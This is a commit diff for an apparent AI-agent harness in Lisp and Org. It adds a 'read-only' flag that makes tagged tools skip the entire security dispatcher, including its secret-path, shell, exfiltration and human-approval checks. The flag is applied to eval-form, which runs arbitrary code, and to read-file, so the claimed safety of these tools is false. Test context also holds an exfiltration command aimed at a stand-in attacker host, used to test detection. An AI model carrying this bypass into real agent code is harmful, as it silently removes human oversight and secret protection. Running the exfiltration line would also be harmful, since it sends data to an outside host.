v0.7.2: safe-tool read-only allowlist — TDD

Read-only cognitive tools auto-pass dispatcher-check unconditionally.
Added :read-only-p slot to cognitive-tool struct, :read-only-p keyword
to def-cognitive-tool macro, tool-read-only-p registry lookup.

- core-package: struct + macro + tool-read-only-p function
- security-dispatcher: early auto-pass in dispatcher-check, 2 new tests
- programming-tools: 7 tools marked :read-only-p t (search-files,
  find-files, read-file, list-directory, eval-form, run-tests,
  org-find-headline)
- Dispatcher: 38/38

lisp/core-package.lisp

@@ -70,10 +70,11 @@
     #:hitl-approve
     #:hitl-deny
     #:hitl-handle-message
-    #:dispatcher-check-secret-path
+   #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
+   #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
+   #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
     #:dispatcher-gate
     #:wildcard-match
     #:actuator-initialize
@@ -142,6 +143,7 @@
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
+   #:tool-read-only-p
    #:register-probabilistic-backend
    #:*probabilistic-backends*
    #:*provider-cascade*
@@ -216,16 +218,18 @@
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 
 (defun cognitive-tool-prompt ()
   "Serialises all registered tools into a prompt string for the LLM."
@@ -246,6 +250,12 @@
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
 
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
+
 (defun log-message (msg &rest args)
   "Centralized, thread-safe logging for the harness."
   (let ((formatted-msg (apply #'format nil msg args)))

lisp/programming-tools.lisp

@@ -11,6 +11,7 @@
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -43,9 +44,10 @@
                                  (format nil "No matches for '~a' in ~a" pattern path)))))))
 
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
+  "Find files matching a glob pattern."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -67,6 +69,7 @@
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -108,8 +111,9 @@
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -151,6 +155,7 @@
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -167,6 +172,7 @@
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -186,6 +192,7 @@
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil

lisp/security-dispatcher.lisp

@@ -214,7 +214,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -524,3 +528,40 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "write-file"
+                                          :description "File writer"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p nil))
+  (unwind-protect
+       (progn
+         (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+         (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                          :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                (result (dispatcher-check action nil)))
+           (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+           (is (eq :approval-required (getf result :level)))
+           (is (search "HITL" (getf (getf result :payload) :message)))))
+    (remhash "write-file" passepartout::*cognitive-tool-registry*)))

org/core-package.org

@@ -95,10 +95,11 @@ The package definition. All public symbols are exported here.
     #:hitl-approve
     #:hitl-deny
     #:hitl-handle-message
-    #:dispatcher-check-secret-path
+   #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
+   #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
+   #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
     #:dispatcher-gate
     #:wildcard-match
     #:actuator-initialize
@@ -167,6 +168,7 @@ The package definition. All public symbols are exported here.
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
+   #:tool-read-only-p
    #:register-probabilistic-backend
    #:*probabilistic-backends*
    #:*provider-cascade*
@@ -266,18 +268,20 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 #+end_src
 
 #+begin_src lisp
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 #+end_src
 
 #+begin_src lisp
@@ -299,6 +303,12 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
 ;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
+
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
 #+end_src
 
 *** Centralized logging (log-message)

org/programming-tools.org

@@ -48,6 +48,7 @@ Searches file contents recursively under a directory using regex pattern matchin
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -86,9 +87,10 @@ Glob file matching using SBCL's ~directory~.
 
 #+begin_src lisp
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
+  "Find files matching a glob pattern."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -116,6 +118,7 @@ Reads a file into a string. Supports optional ~:start~ and ~:limit~ for partial
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -169,8 +172,9 @@ Lists the contents of a directory, optionally filtered by a glob pattern.
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -224,6 +228,7 @@ Evaluates a Lisp expression in the running image. Binds ~*read-eval*~ to nil for
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -246,6 +251,7 @@ Runs FiveAM test suites. Without arguments, runs all tests via ~fiveam:run-all-t
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -271,6 +277,7 @@ Finds Org headlines in the memory store by ID property or title substring match.
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil

org/security-dispatcher.org

@@ -385,7 +385,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -764,4 +768,41 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "write-file"
+                                          :description "File writer"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p nil))
+  (unwind-protect
+       (progn
+         (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+         (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                          :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                (result (dispatcher-check action nil)))
+           (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+           (is (eq :approval-required (getf result :level)))
+           (is (search "HITL" (getf (getf result :payload) :message)))))
+    (remhash "write-file" passepartout::*cognitive-tool-registry*)))
 #+end_src